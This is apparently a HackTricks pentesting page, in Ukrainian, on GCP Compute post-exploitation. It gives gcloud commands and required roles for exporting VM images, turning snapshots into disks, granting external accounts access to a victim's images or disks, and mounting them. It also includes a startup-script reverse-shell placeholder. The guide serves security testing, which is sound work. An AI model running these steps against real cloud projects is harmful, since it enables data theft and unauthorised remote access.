GCP - Compute Post Exploitation

Support HackTricks

Compute

Для отримання додаткової інформації про Compute та VPC (мережі) перегляньте:

GCP - Compute Enum

Експорт та перевірка зображень локально

Це дозволить зловмиснику отримати доступ до даних, що містяться в уже існуючих зображеннях або створити нові зображення працюючих ВМ та отримати доступ до їхніх даних без доступу до працюючої ВМ.

Можливо експортувати зображення ВМ у бакет, а потім завантажити його та змонтувати локально за допомогою команди:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Для виконання цієї дії зловмиснику можуть знадобитися привілеї над сховищем та, безумовно, привілеї над cloudbuild, оскільки це сервіс, який буде запитано для виконання експорту Більше того, для цього кодування SA та SA обчислень потрібні привілейовані дозволи. SA cloudbuild <project-id>@cloudbuild.gserviceaccount.com потрібні:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

А SA <project-id>-compute@developer.gserviceaccount.com потрібні:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Експорт та перевірка знімків та дисків локально

Неможливо безпосередньо експортувати знімки та диски, але можливо перетворити знімок у диск, диск в образ і, слідуючи попередньому розділу, експортувати цей образ для перевірки його локально

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Інспекція образу, створюючи VM

З метою доступу до даних, збережених в образі або всередині працюючої VM, з якої зловмисник створив образ, можливо надати зовнішньому обліковому запису доступ до образу:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

і потім створити нову VM з цього:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Якщо ви не могли надати доступ до вашого зовнішнього облікового запису через образ, ви могли б запустити VM, використовуючи цей образ у проекті жертви, і змусити метадані виконати зворотне з'єднання для доступу до образу, додавши параметр:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

З метою доступу до даних, збережених на диску або знімку, ви можете перетворити знімок на диск, диск на образ і слідувати попереднім крокам.

Або ви можете надати зовнішньому обліковому запису доступ до диска (якщо початковою точкою є знімок, надайте доступ до знімка або створіть диск з нього):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Прикріпіть диск до екземпляра:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Монтуйте диск всередині VM:

  1. SSH до VM:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Визначте диск: Після входу до VM визначте новий диск, перерахувавши дискові пристрої. Зазвичай ви можете знайти його як /dev/sdb, /dev/sdc тощо.

  2. Форматування та монтування диска (якщо це новий або сирий диск):

  • Створіть точку монтування:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Замонтуйте диск:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Якщо ви не можете надати доступ до зовнішнього проекту до знімка або диска, вам, можливо, потрібно буде виконати ці дії всередині екземпляра в тому ж проекті, що й знімок/диск.

Підтримайте HackTricks

Last updated